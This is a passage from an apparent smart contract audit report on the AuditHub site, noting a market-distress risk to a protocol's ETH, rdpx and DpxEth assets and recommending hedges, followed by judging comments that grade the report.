Protocol survival in times of market distress is crucial, and negative price movement in ETH will trigger flight to stablecoins; away from both ETH,rdpx and DpxEth, further putting pressure on all the assets. The slump in rdpx in such a scenario is unavoidable (as evidenced by most tokens' historical price movements in downturns).

It is recommended that the team prepares and implements various hedges to account for such market scenarios. It is likely that the team already does this, but it is important to note nonetheless.

Time Spent

40 hours.

Time spent:

40 hours

#0 - c4-pre-sort

2023-09-15T15:56:40Z

bytes032 marked the issue as sufficient quality report

#1 - c4-judge

2023-10-20T10:05:38Z

GalloDaSballo marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter